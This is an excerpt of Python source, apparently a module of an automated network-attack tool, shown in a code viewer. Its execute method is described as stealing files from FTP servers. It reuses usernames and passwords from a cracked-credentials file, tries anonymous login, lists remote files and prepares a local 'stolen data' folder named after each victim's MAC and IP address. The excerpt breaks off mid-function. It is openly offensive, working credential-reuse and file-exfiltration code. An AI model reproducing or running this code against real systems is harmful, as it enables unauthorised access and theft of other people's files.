Steal files from the FTP server.
(self, ip, port, row, status_key)
| 99 | return False |
| 100 | |
| 101 | def execute(self, ip, port, row, status_key): |
| 102 | """ |
| 103 | Steal files from the FTP server. |
| 104 | """ |
| 105 | try: |
| 106 | if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful |
| 107 | self.shared_data.ragnarorch_status = "StealFilesFTP" |
| 108 | logger.info(f"Stealing files from {ip}:{port}...") |
| 109 | # Wait a bit because it's too fast to see the status change |
| 110 | time.sleep(5) |
| 111 | |
| 112 | # Get FTP credentials from the cracked passwords file |
| 113 | ftpfile = self.shared_data.ftpfile |
| 114 | credentials = [] |
| 115 | if os.path.exists(ftpfile): |
| 116 | with open(ftpfile, 'r') as f: |
| 117 | lines = f.readlines()[1:] # Skip the header |
| 118 | for line in lines: |
| 119 | parts = line.strip().split(',') |
| 120 | if parts[1] == ip: |
| 121 | credentials.append((parts[3], parts[4])) # Username and password |
| 122 | logger.info(f"Found {len(credentials)} credentials for {ip}") |
| 123 | |
| 124 | def try_anonymous_access(): |
| 125 | """ |
| 126 | Try to access the FTP server without credentials. |
| 127 | """ |
| 128 | try: |
| 129 | ftp = self.connect_ftp(ip, 'anonymous', '') |
| 130 | return ftp |
| 131 | except Exception as e: |
| 132 | logger.info(f"Anonymous access to {ip} failed: {e}") |
| 133 | return None |
| 134 | |
| 135 | if not credentials and not try_anonymous_access(): |
| 136 | logger.error(f"No valid credentials found for {ip}. Skipping...") |
| 137 | return 'failed' |
| 138 | |
| 139 | def timeout(): |
| 140 | """ |
| 141 | Timeout function to stop the execution if no FTP connection is established. |
| 142 | """ |
| 143 | if not self.ftp_connected: |
| 144 | logger.error(f"No FTP connection established within 4 minutes for {ip}. Marking as failed.") |
| 145 | self.stop_execution = True |
| 146 | |
| 147 | timer = Timer(240, timeout) # 4 minutes timeout |
| 148 | timer.start() |
| 149 | |
| 150 | # Attempt anonymous access first |
| 151 | success = False |
| 152 | ftp = try_anonymous_access() |
| 153 | if ftp: |
| 154 | remote_files = self.find_files(ftp, '/') |
| 155 | mac = row['MAC Address'] |
| 156 | local_dir = os.path.join(self.shared_data.datastolendir, f"ftp/{mac}_{ip}/anonymous") |
| 157 | if remote_files: |
| 158 | # Filter new files |
nothing calls this directly
no test coverage detected